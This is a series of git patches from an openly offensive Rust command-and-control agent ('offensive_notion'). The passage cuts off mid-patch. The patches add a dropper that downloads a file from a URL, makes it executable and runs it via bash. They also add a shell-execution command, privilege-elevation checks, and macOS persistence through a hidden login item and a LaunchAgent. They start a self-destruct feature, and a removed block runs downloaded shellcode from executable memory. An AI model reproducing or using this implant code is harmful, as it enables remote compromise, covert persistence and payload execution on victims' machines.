=> 0 - } - }) - .collect(); // The actual success return Ok(shellcode); @@ -348,7 +368,7 @@ pub async fn handle(cmd_args: &mut CommandArgs, logger: &Logger) -> Result { return Ok("Unknown injection method!".to_string()) ;} } From 560ef30751c5f11c638d5bc63ff30be39377a36f Mon Sep 17 00:00:00 2001 From: Michael Taggart Date: Sun, 6 Mar 2022 21:42:10 -0800 Subject: [PATCH 29/99] Linux inject dropper --- agent/src/cmd/inject.rs | 94 +++++++++++++++++++---------------------- agent/src/main.rs | 1 - 2 files changed, 44 insertions(+), 51 deletions(-) diff --git a/agent/src/cmd/inject.rs b/agent/src/cmd/inject.rs index d04ace5..08f3901 100755 --- a/agent/src/cmd/inject.rs +++ b/agent/src/cmd/inject.rs @@ -1,7 +1,6 @@ use std::error::Error; use crate::logger::Logger; use crate::cmd::CommandArgs; -use memmap2::MmapMut; use base64::decode as b64_decode; #[cfg(windows)] extern crate winapi; @@ -25,6 +24,7 @@ use base64::decode as b64_decode; use reqwest::Client; async fn decode_shellcode(sc: String, b64_iterations: u32, logger: &Logger) -> Result, &str> { + logger.debug("Starting shellcode debug".to_string()); let mut shellcode_vec = Vec::from(sc.trim().as_bytes()); for i in 0..b64_iterations { logger.debug(format!("Decode iteration: {i}")); @@ -53,13 +53,13 @@ async fn get_shellcode(url: String, b64_iterations: u32, logger: &Logger) -> Res let client = Client::new(); if let Ok(r) = client.get(url).send().await { if r.status().is_success() { - logger.info(format!("Got the shellcode")); + logger.info(format!("Downloaded shellcode")); // Get the shellcode. Now we have to decode it let shellcode_decoded: Vec; - let shellcode: Vec; + let shellcode_final_vec: Vec; if let Ok(sc) = r.text().await { logger.info(format!("Got encoded bytes")); - + logger.debug(format!("Encoded shellcode length: {}", sc.len())); match decode_shellcode(sc, b64_iterations, logger).await { Ok(scd) => { shellcode_decoded = scd; }, Err(e) => { return Err(e); } @@ -81,7 +81,7 @@ async fn get_shellcode(url: String, b64_iterations: u32, logger: &Logger) -> Res // We need to get each one until a proper u8. // Now, keep in mind we only do this for Windows, because we pretty much only make raw byes, // Not '0x' strings for Linux. - shellcode = shellcode_string + shellcode_final_vec = shellcode_string .split(",") .map(|s| s.replace("0x", "")) .map(|s| s.replace(" ", "")) @@ -95,11 +95,11 @@ async fn get_shellcode(url: String, b64_iterations: u32, logger: &Logger) -> Res } #[cfg(not(windows))] { - shellcode = shellcode_decoded; + shellcode_final_vec = shellcode_decoded; } // The actual success - return Ok(shellcode); + return Ok(shellcode_final_vec); } else { let err_msg = "Could not decode shellcode"; @@ -308,68 +308,62 @@ pub async fn handle(cmd_args: &mut CommandArgs, logger: &Logger) -> Result { - use std::fs::OpenOptions; + "dropper" => { + // Usage: inject dropper [url] [filename] + // Get URL + use crate::cmd::download; use std::os::unix::fs::PermissionsExt; - use std::mem; + let filename: String; + use std::process::Command; - // Get URL match cmd_args.nth(0) { Some(u) => { - logger.debug(format!("Shellcode URL: {}", &u)); + logger.debug(format!("Shellcode URL: {u}")); url = u; }, - None => { return Ok("Could not parse URL".to_string()); } + None => { return Ok("Could not parse URL".to_string()); } }; - // Get b64_iterations + // Get filename match cmd_args.nth(0) { - Some(bs) => { - if let Ok(b) = bs.parse::() { - b64_iterations = b; - } else { - return Ok("Could not parse b64 iterations".to_string()); - } + Some(f) => { + logger.debug(format!("Filename: {f}")); + filename = f; }, - None => { return Ok("Could not extract b64 iterations".to_string()); } + None => { return Ok("Could not parse filename".to_string()); } }; - - // Get shellcode - let mut shellcode: Vec; - match get_shellcode(url, b64_iterations, logger).await { - Ok(s) => { shellcode = s}, + + let mut download_args = CommandArgs::from_string( + format!("{url} {filename}") + ); + download::handle(&mut download_args, logger).await?; + match std::fs::File::open(&filename) { + Ok(f) => { + f.set_permissions(PermissionsExt::from_mode(0o755))?; + }, Err(e) => { return Ok(e.to_string()); } }; + let mut cmd_string = String::new(); - let file_name = "blargh"; - let file = OpenOptions::new() - .read(true) - .write(true) - .create(true) - .open(file_name)?; + // Basically, if it's not a proper path, add ./ + if !cmd_string.contains("/") { + cmd_string.push_str("./"); + } - - file.set_permissions(PermissionsExt::from_mode(0o755))?; - file.set_len(shellcode.len().try_into().unwrap())?; + cmd_string.push_str(filename.as_str()); - let mut mmap = unsafe { MmapMut::map_mut(&file)? }; - mmap.copy_from_slice(shellcode.as_slice()); - let exec_map = mmap.make_exec()?; - - unsafe { - // copy the shellcode to the memory map - // std::ptr::copy(shellcode.as_ptr(), map.data(), SHELLCODE.len()); - let exec_shellcode: extern "C" fn() -> ! = mem::transmute(exec_map.as_ptr()); - exec_shellcode(); - } - - return Ok("Injection completed!".to_string()); - }, + // Fire off the command + Command::new("/bin/bash") + .arg("-c") + .arg(cmd_string) + .spawn()?; + + Ok("Dropper completed!".to_string()) + } _ => { return Ok("Unknown injection method!".to_string()) ;} } diff --git a/agent/src/main.rs b/agent/src/main.rs index dcf635e..ec251a6 100755 --- a/agent/src/main.rs +++ b/agent/src/main.rs @@ -4,7 +4,6 @@ extern crate tokio; extern crate serde_json; extern crate whoami; extern crate base64; -extern crate memmap2; use std::{thread, time}; use std::env::args; From cf53ed01c6db54893017dbd3bee8da5b6157d390 Mon Sep 17 00:00:00 2001 From: Michael Taggart Date: Sun, 6 Mar 2022 21:46:13 -0800 Subject: [PATCH 30/99] Remove unnecesary memmap2 --- agent/Cargo.lock | 10 ---------- agent/Cargo.toml | 3 --- 2 files changed, 13 deletions(-) diff --git a/agent/Cargo.lock b/agent/Cargo.lock index 9a693b5..6d7e783 100755 --- a/agent/Cargo.lock +++ b/agent/Cargo.lock @@ -472,15 +472,6 @@ version = "2.4.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "308cc39be01b73d0d18f82a0e7b2a3df85245f84af96fdddc5d202d27e47b86a" -[[package]] -name = "memmap2" -version = "0.5.3" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "057a3db23999c867821a7a59feb06a578fcb03685e983dff90daf9e7d24ac08f" -dependencies = [ - "libc", -] - [[package]] name = "memoffset" version = "0.6.5" @@ -595,7 +586,6 @@ dependencies = [ "is-root", "kernel32-sys", "libc", - "memmap2", "rand", "reqwest", "serde", diff --git a/agent/Cargo.toml b/agent/Cargo.toml index e46d8aa..9705fdd 100755 --- a/agent/Cargo.toml +++ b/agent/Cargo.toml @@ -23,9 +23,6 @@ cidr-utils = "0.5.5" [build-dependencies] embed-resource = "1.6" -[target.'cfg(not(windows))'.dependencies] -memmap2 = "0.5.3" - [target.'cfg(windows)'.dependencies] kernel32-sys = "0.2.2" winapi = { version = "0.3.8", features = ["winnt","winuser", "handleapi", "processthreadsapi", "securitybaseapi"] } From 3f26ced9e3ce0077c238e93bf904977c0cd8ddf2 Mon Sep 17 00:00:00 2001 From: Michael Taggart Date: Sun, 6 Mar 2022 22:38:32 -0800 Subject: [PATCH 31/99] macos test build --- .github/workflows/rust.yml | 17 +++++++++++++++++ 1 file changed, 17 insertions(+) diff --git a/.github/workflows/rust.yml b/.github/workflows/rust.yml index 4afbf14..1e45ab8 100644 --- a/.github/workflows/rust.yml +++ b/.github/workflows/rust.yml @@ -26,6 +26,23 @@ jobs: with: name: offensive_notion_linux_amd64 path: agent/target/release/offensive_notion + + build_mac: + + runs-on: macos-latest + + steps: + - uses: actions/checkout@v2 + - name: Update Rust + run: rustup update stable + - name: Build + working-directory: ./agent + run: cargo build --release + - name: Upload artifact + uses: actions/upload-artifact@v2 + with: + name: offensive_notion_linux_amd64 + path: agent/target/release/offensive_notion build_windows: From b8d5fb9a2a77791d65f847f89d55fb375d263ddc Mon Sep 17 00:00:00 2001 From: Michael Taggart Date: Sun, 6 Mar 2022 22:40:02 -0800 Subject: [PATCH 32/99] Add dev branch to build --- .github/workflows/rust.yml | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/.github/workflows/rust.yml b/.github/workflows/rust.yml index 1e45ab8..4826074 100644 --- a/.github/workflows/rust.yml +++ b/.github/workflows/rust.yml @@ -2,9 +2,9 @@ name: Rust on: push: - branches: [ main ] + branches: [ main, dev ] pull_request: - branches: [ main ] + branches: [ main, dev ] env: CARGO_TERM_COLOR: always From edb344da840dc778340f03fa994f658ce9f215ec Mon Sep 17 00:00:00 2001 From: Michael Taggart Date: Sun, 6 Mar 2022 22:46:35 -0800 Subject: [PATCH 33/99] Fix mac job --- .github/workflows/rust.yml | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) diff --git a/.github/workflows/rust.yml b/.github/workflows/rust.yml index 4826074..b93ef66 100644 --- a/.github/workflows/rust.yml +++ b/.github/workflows/rust.yml @@ -35,14 +35,16 @@ jobs: - uses: actions/checkout@v2 - name: Update Rust run: rustup update stable + - name: Add macOS Triple + run: rustup target add x86_64-pc-windows-gnu - name: Build working-directory: ./agent - run: cargo build --release + run: cargo build --release --target x86_64-apple-darwin - name: Upload artifact uses: actions/upload-artifact@v2 with: - name: offensive_notion_linux_amd64 - path: agent/target/release/offensive_notion + name: offensive_notion_darwin_amd64 + path: agent/target/x86_64-apple-darwin/release/offensive_notion build_windows: From 89fddc27d324209ad339d5f5746fd95ea6e6ef88 Mon Sep 17 00:00:00 2001 From: Michael Taggart Date: Mon, 7 Mar 2022 07:08:19 -0800 Subject: [PATCH 34/99] Refactor shell for Linux AND Mac! --- agent/src/cmd/shell.rs | 27 ++++++++++++++++++++------- 1 file changed, 20 insertions(+), 7 deletions(-) diff --git a/agent/src/cmd/shell.rs b/agent/src/cmd/shell.rs index f984e60..d6be90e 100755 --- a/agent/src/cmd/shell.rs +++ b/agent/src/cmd/shell.rs @@ -10,19 +10,32 @@ use crate::cmd::CommandArgs; /// /// Usage: `shell [command]` pub async fn handle(cmd_args: &mut CommandArgs) -> Result> { - let output = if cfg!(target_os = "windows") { - Command::new("cmd") + + let output: std::process::Output; + #[cfg(windows)] { + output = Command::new("cmd") .arg("/c") .arg(cmd_args.to_string()) .output() - .expect("failed to execute process") - } else { - Command::new("/bin/bash") + .expect("failed to execute process"); + } + + #[cfg(unix)] { + output = Command::new("/bin/bash") .arg("-c") .arg(cmd_args.to_string()) .output() - .expect("failed to execute process") - }; + .expect("failed to execute process"); + } + + #[cfg(macos)] { + output = Command::new("/bin/zsh") + .arg("-c") + .arg(cmd_args.to_string()) + .output() + .expect("failed to execute process"); + } + let output_string: String; if output.stderr.len() > 0 { output_string = String::from_utf8(output.stderr).unwrap(); From c4fde037181162a2b4d3c3f5d3c16031e18d02bf Mon Sep 17 00:00:00 2001 From: Michael Taggart Date: Mon, 7 Mar 2022 22:28:41 -0800 Subject: [PATCH 35/99] macOS accommodations --- agent/src/cmd/elevate.rs | 11 +++++++---- agent/src/cmd/inject.rs | 7 ++++++- 2 files changed, 13 insertions(+), 5 deletions(-) diff --git a/agent/src/cmd/elevate.rs b/agent/src/cmd/elevate.rs index 90c7bd5..444d698 100644 --- a/agent/src/cmd/elevate.rs +++ b/agent/src/cmd/elevate.rs @@ -17,6 +17,8 @@ use std::process::Command; /// /// Ain't perfect, but it's a start. pub fn can_elevate() -> bool { + // Get username and match it against list of users that has data + // Uses group membership to determine elevation capabilities let s = System::new_all(); let username = username(); let user = s.users() @@ -24,12 +26,13 @@ pub fn can_elevate() -> bool { .filter(|&u| u.name() == username ) .nth(0) .unwrap(); - #[cfg(not(windows))] { - // Get username and match it against list of users that has data - // Uses group membership to determine elevation capabilities + + #[cfg(unix)] { return user.groups().contains(&"sudo".to_string()); } - + #[cfg(macos)] { + return user.groups().contains(&"admin".to_string()); + } #[cfg(windows)] { user.groups() .into_iter() diff --git a/agent/src/cmd/inject.rs b/agent/src/cmd/inject.rs index 08f3901..430fb10 100755 --- a/agent/src/cmd/inject.rs +++ b/agent/src/cmd/inject.rs @@ -300,7 +300,7 @@ pub async fn handle(cmd_args: &mut CommandArgs, logger: &Logger) -> Result Result> { if let Some(inject_type) = cmd_args.nth(0) { @@ -370,4 +370,9 @@ pub async fn handle(cmd_args: &mut CommandArgs, logger: &Logger) -> Result Result> { + Ok("Inject not available on macOS!".to_string()) } \ No newline at end of file From 0dd50f5df437e9e1bd49f3f5203650f3960cb2c5 Mon Sep 17 00:00:00 2001 From: Michael Taggart Date: Mon, 7 Mar 2022 23:45:06 -0800 Subject: [PATCH 36/99] macOS persistence --- agent/src/cmd/persist.rs | 72 +++++++++++++++++++++++++++++++++++++++- 1 file changed, 71 insertions(+), 1 deletion(-) diff --git a/agent/src/cmd/persist.rs b/agent/src/cmd/persist.rs index 00b16bd..f9d1740 100755 --- a/agent/src/cmd/persist.rs +++ b/agent/src/cmd/persist.rs @@ -177,7 +177,7 @@ pub async fn handle(cmd_args: &mut CommandArgs, config_options: &mut ConfigOptio } } - #[cfg(not(windows))] { + #[cfg(unix)] { let app_path = args().nth(0).unwrap(); let home = var("HOME")?; @@ -271,4 +271,74 @@ WantedBy=multi-user.target" _ => Ok("Unknown persistence method!".to_string()) } } + + #[cfg(macos)] { + let app_path = args().nth(0).unwrap(); + let home = var("HOME")?; + let app_dir = format!("{home}/.notion"); + let dest_path = format!("{app_dir}/notion"); + + match cmd_args.nth(0).unwrap_or_default().as_str() { + "loginitem" => { + // Copy the app to a new folder + match create_dir(&app_dir) { + Ok(_) => { logger.info("Notion directory created".to_string()); }, + Err(e) => { logger.err(e.to_string()); } + }; + if let Ok(_) = copy(&app_path, dest_path) { + // Save config for relaunch + let b64_config = config_options.to_base64(); + // Write a line to the user's bashrc that starts the agent. + let mut applescript_args = CommandArgs::new( + vec![format!(r#"osascript -e 'tell application "System Events" to make login item at end with properties {path:"{dest_path}/notion", hidden:true}'"#)] + ); + if let Ok(_) = shell::handle(&mut bashrc_args).await { + Ok("Login item created!".to_string()) + } else { + Ok("Could not create login item".to_string()) + } + } else { + Ok("Could not copy app to destination".to_string()) + } + + }, + "launchagent" => { + + match create_dir(&app_dir) { + Ok(_) => { logger.info("Notion directory created".to_string()); }, + Err(e) => { logger.err(e.to_string()); } + }; + if let Ok(_) = copy(&app_path, &dest_path) { + let b64_config = config_options.to_base64(); + let launch_agent_path: String; + if is_root() { + launch_agent_path = "/Library/LaunchAgents/com.notion.offnote.plist".to_string(); + } else { + launch_agent_path = format!("{home}/Library/LaunchAgents/com.notion.offnote.plist"); + } + let launch_agent_string = format!( +r#" + + + +Label +com.mttaggart.offensivenotion +ProgramArguments + +{dest_path} + +RunAtLoad + + +"#); + write(launch_agent_path, launch_agent_string)?; + Ok(format!("LaunchAgent written to {launch_agent_path}")); + } else { + return Ok("Could not copy app to destination".to_string()); + } + }, + _ => Ok("Unknown persistence method!".to_string()) + } + + } } \ No newline at end of file From d501d48735e5766c5b4e76c3a7120be918336bfe Mon Sep 17 00:00:00 2001 From: Michael Taggart Date: Tue, 8 Mar 2022 00:08:34 -0800 Subject: [PATCH 37/99] fix mac cfg directives --- agent/src/cmd/persist.rs | 4 ++-- agent/src/cmd/shell.rs | 4 ++-- 2 files changed, 4 insertions(+), 4 deletions(-) diff --git a/agent/src/cmd/persist.rs b/agent/src/cmd/persist.rs index f9d1740..1e45d8b 100755 --- a/agent/src/cmd/persist.rs +++ b/agent/src/cmd/persist.rs @@ -177,7 +177,7 @@ pub async fn handle(cmd_args: &mut CommandArgs, config_options: &mut ConfigOptio } } - #[cfg(unix)] { + #[cfg(target_os = "linux")] { let app_path = args().nth(0).unwrap(); let home = var("HOME")?; @@ -272,7 +272,7 @@ WantedBy=multi-user.target" } } - #[cfg(macos)] { + #[cfg(target_os = "macos")] { let app_path = args().nth(0).unwrap(); let home = var("HOME")?; let app_dir = format!("{home}/.notion"); diff --git a/agent/src/cmd/shell.rs b/agent/src/cmd/shell.rs index d6be90e..8f4d67d 100755 --- a/agent/src/cmd/shell.rs +++ b/agent/src/cmd/shell.rs @@ -20,7 +20,7 @@ pub async fn handle(cmd_args: &mut CommandArgs) -> Result .expect("failed to execute process"); } - #[cfg(unix)] { + #[cfg(target_os = "linux")] { output = Command::new("/bin/bash") .arg("-c") .arg(cmd_args.to_string()) @@ -28,7 +28,7 @@ pub async fn handle(cmd_args: &mut CommandArgs) -> Result .expect("failed to execute process"); } - #[cfg(macos)] { + #[cfg(target_os = "macos")] { output = Command::new("/bin/zsh") .arg("-c") .arg(cmd_args.to_string()) From 38bf97d78eebde4265c920db4df33a94d2f32d7d Mon Sep 17 00:00:00 2001 From: Michael Taggart Date: Tue, 8 Mar 2022 06:05:33 -0800 Subject: [PATCH 38/99] Fix format string for osascript --- agent/src/cmd/persist.rs | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/agent/src/cmd/persist.rs b/agent/src/cmd/persist.rs index 1e45d8b..e94fb28 100755 --- a/agent/src/cmd/persist.rs +++ b/agent/src/cmd/persist.rs @@ -290,7 +290,7 @@ WantedBy=multi-user.target" let b64_config = config_options.to_base64(); // Write a line to the user's bashrc that starts the agent. let mut applescript_args = CommandArgs::new( - vec![format!(r#"osascript -e 'tell application "System Events" to make login item at end with properties {path:"{dest_path}/notion", hidden:true}'"#)] + vec![format!(r#"osascript -e 'tell application "System Events" to make login item at end with properties \{path:"{dest_path}/notion", hidden:true\}'"#)] ); if let Ok(_) = shell::handle(&mut bashrc_args).await { Ok("Login item created!".to_string()) From 212aa784ea7f05deea7198f1351fc3aaf232bf66 Mon Sep 17 00:00:00 2001 From: Michael Taggart Date: Tue, 8 Mar 2022 06:07:39 -0800 Subject: [PATCH 39/99] Fix other small Mac persist issues --- agent/src/cmd/persist.rs | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/agent/src/cmd/persist.rs b/agent/src/cmd/persist.rs index e94fb28..f06a02e 100755 --- a/agent/src/cmd/persist.rs +++ b/agent/src/cmd/persist.rs @@ -292,7 +292,7 @@ WantedBy=multi-user.target" let mut applescript_args = CommandArgs::new( vec![format!(r#"osascript -e 'tell application "System Events" to make login item at end with properties \{path:"{dest_path}/notion", hidden:true\}'"#)] ); - if let Ok(_) = shell::handle(&mut bashrc_args).await { + if let Ok(_) = shell::handle(&mut applescript_args).await { Ok("Login item created!".to_string()) } else { Ok("Could not create login item".to_string()) @@ -332,7 +332,7 @@ r#" "#); write(launch_agent_path, launch_agent_string)?; - Ok(format!("LaunchAgent written to {launch_agent_path}")); + Ok(format!("LaunchAgent written to {launch_agent_path}")) } else { return Ok("Could not copy app to destination".to_string()); } From f5bb3a7c77b7865da8907f8eace122b8b683dc3c Mon Sep 17 00:00:00 2001 From: Michael Taggart Date: Tue, 8 Mar 2022 06:09:30 -0800 Subject: [PATCH 40/99] Double curlies are escaped? --- agent/src/cmd/persist.rs | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/agent/src/cmd/persist.rs b/agent/src/cmd/persist.rs index f06a02e..19a158a 100755 --- a/agent/src/cmd/persist.rs +++ b/agent/src/cmd/persist.rs @@ -290,7 +290,7 @@ WantedBy=multi-user.target" let b64_config = config_options.to_base64(); // Write a line to the user's bashrc that starts the agent. let mut applescript_args = CommandArgs::new( - vec![format!(r#"osascript -e 'tell application "System Events" to make login item at end with properties \{path:"{dest_path}/notion", hidden:true\}'"#)] + vec![format!(r#"osascript -e 'tell application "System Events" to make login item at end with properties {{path:"{dest_path}/notion", hidden:true}}'"#)] ); if let Ok(_) = shell::handle(&mut applescript_args).await { Ok("Login item created!".to_string()) From 1c040e6c51fed00cbdc7137c8490e3aecfa16934 Mon Sep 17 00:00:00 2001 From: Michael Taggart Date: Tue, 8 Mar 2022 06:11:26 -0800 Subject: [PATCH 41/99] Fix move --- agent/src/cmd/persist.rs | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/agent/src/cmd/persist.rs b/agent/src/cmd/persist.rs index 19a158a..29e6128 100755 --- a/agent/src/cmd/persist.rs +++ b/agent/src/cmd/persist.rs @@ -285,7 +285,7 @@ WantedBy=multi-user.target" Ok(_) => { logger.info("Notion directory created".to_string()); }, Err(e) => { logger.err(e.to_string()); } }; - if let Ok(_) = copy(&app_path, dest_path) { + if let Ok(_) = copy(&app_path, &dest_path) { // Save config for relaunch let b64_config = config_options.to_base64(); // Write a line to the user's bashrc that starts the agent. From 155eb3ebb68c611036f0ec5d1f9ed965811c992e Mon Sep 17 00:00:00 2001 From: Michael Taggart Date: Tue, 8 Mar 2022 06:12:35 -0800 Subject: [PATCH 42/99] Continued borrow fixes --- agent/src/cmd/persist.rs | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/agent/src/cmd/persist.rs b/agent/src/cmd/persist.rs index 29e6128..a6e4ff2 100755 --- a/agent/src/cmd/persist.rs +++ b/agent/src/cmd/persist.rs @@ -331,7 +331,7 @@ r#" "#); - write(launch_agent_path, launch_agent_string)?; + write(&launch_agent_path, &launch_agent_string)?; Ok(format!("LaunchAgent written to {launch_agent_path}")) } else { return Ok("Could not copy app to destination".to_string()); From b891985759cb36d90b0344701c9b8f1261d866bf Mon Sep 17 00:00:00 2001 From: Michael Taggart Date: Tue, 8 Mar 2022 07:04:24 -0800 Subject: [PATCH 43/99] Fix elevate for Mac --- agent/src/cmd/elevate.rs | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/agent/src/cmd/elevate.rs b/agent/src/cmd/elevate.rs index 444d698..f768c82 100644 --- a/agent/src/cmd/elevate.rs +++ b/agent/src/cmd/elevate.rs @@ -27,10 +27,10 @@ pub fn can_elevate() -> bool { .nth(0) .unwrap(); - #[cfg(unix)] { + #[cfg(target_os = "linux")] { return user.groups().contains(&"sudo".to_string()); } - #[cfg(macos)] { + #[cfg(target_os = "macos")] { return user.groups().contains(&"admin".to_string()); } #[cfg(windows)] { From a0714e070933abc3cced06f69b0c0df63a328f38 Mon Sep 17 00:00:00 2001 From: Michael Taggart Date: Tue, 8 Mar 2022 07:08:24 -0800 Subject: [PATCH 44/99] Attempt to catch LaunchAgent dir error --- agent/src/cmd/persist.rs | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/agent/src/cmd/persist.rs b/agent/src/cmd/persist.rs index a6e4ff2..b20a595 100755 --- a/agent/src/cmd/persist.rs +++ b/agent/src/cmd/persist.rs @@ -331,6 +331,10 @@ r#" "#); + // Make the user LaunchAgents dir if it doesn't exist + if let Err(_) = std::fs::try_exists(path) { + create_dir(format!("{home}/LIbrary/LaunchAgents"))?; + } write(&launch_agent_path, &launch_agent_string)?; Ok(format!("LaunchAgent written to {launch_agent_path}")) } else { From 9e08117f1f4348c2e6da805a2d6622a8387383ae Mon Sep 17 00:00:00 2001 From: Michael Taggart Date: Tue, 8 Mar 2022 21:33:04 -0800 Subject: [PATCH 45/99] launch agent path fix --- agent/src/cmd/persist.rs | 16 ++++++++++------ 1 file changed, 10 insertions(+), 6 deletions(-) diff --git a/agent/src/cmd/persist.rs b/agent/src/cmd/persist.rs index b20a595..bbd524c 100755 --- a/agent/src/cmd/persist.rs +++ b/agent/src/cmd/persist.rs @@ -310,11 +310,11 @@ WantedBy=multi-user.target" }; if let Ok(_) = copy(&app_path, &dest_path) { let b64_config = config_options.to_base64(); - let launch_agent_path: String; + let launch_agent_dir: String; if is_root() { - launch_agent_path = "/Library/LaunchAgents/com.notion.offnote.plist".to_string(); + launch_agent_path = "/Library/LaunchAgents".to_string(); } else { - launch_agent_path = format!("{home}/Library/LaunchAgents/com.notion.offnote.plist"); + launch_agent_path = format!("{home}/Library/LaunchAgents"); } let launch_agent_string = format!( r#" @@ -332,10 +332,14 @@ r#" "#); // Make the user LaunchAgents dir if it doesn't exist - if let Err(_) = std::fs::try_exists(path) { - create_dir(format!("{home}/LIbrary/LaunchAgents"))?; + + if !std::path::Path::new(&launch_agent_path).is_dir() { + create_dir(&launch_agent_path)?; } - write(&launch_agent_path, &launch_agent_string)?; + write( + format!("{launch_agent_path}/com.notion.offnote.plist").as_str(), + &launch_agent_string + )?; Ok(format!("LaunchAgent written to {launch_agent_path}")) } else { return Ok("Could not copy app to destination".to_string()); From fa5cf13147eca57946d0d279aac5950c364626dc Mon Sep 17 00:00:00 2001 From: Michael Taggart Date: Tue, 8 Mar 2022 21:34:44 -0800 Subject: [PATCH 46/99] Why did I do that --- agent/src/cmd/persist.rs | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/agent/src/cmd/persist.rs b/agent/src/cmd/persist.rs index bbd524c..c300c62 100755 --- a/agent/src/cmd/persist.rs +++ b/agent/src/cmd/persist.rs @@ -312,9 +312,9 @@ WantedBy=multi-user.target" let b64_config = config_options.to_base64(); let launch_agent_dir: String; if is_root() { - launch_agent_path = "/Library/LaunchAgents".to_string(); + launch_agent_dir = "/Library/LaunchAgents".to_string(); } else { - launch_agent_path = format!("{home}/Library/LaunchAgents"); + launch_agent_dir = format!("{home}/Library/LaunchAgents"); } let launch_agent_string = format!( r#" From e326cf4abbf4cc9e53008e4b175fff7549bf0609 Mon Sep 17 00:00:00 2001 From: Michael Taggart Date: Tue, 8 Mar 2022 21:35:48 -0800 Subject: [PATCH 47/99] Why did I do that, pt. 2 --- agent/src/cmd/persist.rs | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/agent/src/cmd/persist.rs b/agent/src/cmd/persist.rs index c300c62..ceab635 100755 --- a/agent/src/cmd/persist.rs +++ b/agent/src/cmd/persist.rs @@ -333,14 +333,14 @@ r#" "#); // Make the user LaunchAgents dir if it doesn't exist - if !std::path::Path::new(&launch_agent_path).is_dir() { - create_dir(&launch_agent_path)?; + if !std::path::Path::new(&launch_agent_dir).is_dir() { + create_dir(&launch_agent_dir)?; } write( - format!("{launch_agent_path}/com.notion.offnote.plist").as_str(), + format!("{launch_agent_dir}/com.notion.offnote.plist").as_str(), &launch_agent_string )?; - Ok(format!("LaunchAgent written to {launch_agent_path}")) + Ok(format!("LaunchAgent written to {launch_agent_dir}")) } else { return Ok("Could not copy app to destination".to_string()); } From 37369e2d221c101bc19115b6c3efdc0c086e705c Mon Sep 17 00:00:00 2001 From: Michael Taggart Date: Tue, 8 Mar 2022 22:38:58 -0800 Subject: [PATCH 48/99] Change plist name --- agent/src/cmd/persist.rs | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/agent/src/cmd/persist.rs b/agent/src/cmd/persist.rs index ceab635..a4f004e 100755 --- a/agent/src/cmd/persist.rs +++ b/agent/src/cmd/persist.rs @@ -322,7 +322,7 @@ r#" Label -com.mttaggart.offensivenotion +com.notion.offnote ProgramArguments {dest_path} From 607782e6256c415d661a64de705f841795e9e747 Mon Sep 17 00:00:00 2001 From: Michael Taggart Date: Tue, 8 Mar 2022 23:32:11 -0800 Subject: [PATCH 49/99] Debug osascript --- agent/src/cmd/persist.rs | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/agent/src/cmd/persist.rs b/agent/src/cmd/persist.rs index a4f004e..d708b8b 100755 --- a/agent/src/cmd/persist.rs +++ b/agent/src/cmd/persist.rs @@ -289,8 +289,10 @@ WantedBy=multi-user.target" // Save config for relaunch let b64_config = config_options.to_base64(); // Write a line to the user's bashrc that starts the agent. + let osascript_string = format!(r#"osascript -e 'tell application "System Events" to make login item at end with properties {{path:"{dest_path}/notion", hidden:true}}'"#); + logger.debug(osascript_string.to_owned()); let mut applescript_args = CommandArgs::new( - vec![format!(r#"osascript -e 'tell application "System Events" to make login item at end with properties {{path:"{dest_path}/notion", hidden:true}}'"#)] + vec![osascript_string] ); if let Ok(_) = shell::handle(&mut applescript_args).await { Ok("Login item created!".to_string()) From a9cda9547faecb06005a3f2b953de2e46d34e622 Mon Sep 17 00:00:00 2001 From: Michael Taggart Date: Tue, 8 Mar 2022 23:35:34 -0800 Subject: [PATCH 50/99] Fix osascript dest path --- agent/src/cmd/persist.rs | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/agent/src/cmd/persist.rs b/agent/src/cmd/persist.rs index d708b8b..7d122a4 100755 --- a/agent/src/cmd/persist.rs +++ b/agent/src/cmd/persist.rs @@ -289,7 +289,7 @@ WantedBy=multi-user.target" // Save config for relaunch let b64_config = config_options.to_base64(); // Write a line to the user's bashrc that starts the agent. - let osascript_string = format!(r#"osascript -e 'tell application "System Events" to make login item at end with properties {{path:"{dest_path}/notion", hidden:true}}'"#); + let osascript_string = format!(r#"osascript -e 'tell application "System Events" to make login item at end with properties {{path:"{dest_path}", hidden:true}}'"#); logger.debug(osascript_string.to_owned()); let mut applescript_args = CommandArgs::new( vec![osascript_string] From a718b56add520b9fc0bc367066172824fa623072 Mon Sep 17 00:00:00 2001 From: husky Date: Wed, 9 Mar 2022 17:01:14 -0500 Subject: [PATCH 51/99] self destruct mvp --- agent/Cargo.lock | 10 +++++++++ agent/Cargo.toml | 2 ++ agent/src/cmd/mod.rs | 4 ++++ agent/src/cmd/selfdestruct.rs | 38 +++++++++++++++++++++++++++++++++++ agent/src/main.rs | 1 + 5 files changed, 55 insertions(+) create mode 100644 agent/src/cmd/selfdestruct.rs diff --git a/agent/Cargo.lock b/agent/Cargo.lock index 6d7e783..3e7d493 100755 --- a/agent/Cargo.lock +++ b/agent/Cargo.lock @@ -282,6 +282,15 @@ dependencies = [ "libc", ] +[[package]] +name = "houdini" +version = "1.0.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9a21c047df31ebe5936e1a8f8a1fd1020933fca89909625c481b651273b97eef" +dependencies = [ + "winapi 0.3.9", +] + [[package]] name = "http" version = "0.2.6" @@ -583,6 +592,7 @@ dependencies = [ "base64", "cidr-utils", "embed-resource", + "houdini", "is-root", "kernel32-sys", "libc", diff --git a/agent/Cargo.toml b/agent/Cargo.toml index 9705fdd..510567d 100755 --- a/agent/Cargo.toml +++ b/agent/Cargo.toml @@ -27,6 +27,8 @@ embed-resource = "1.6" kernel32-sys = "0.2.2" winapi = { version = 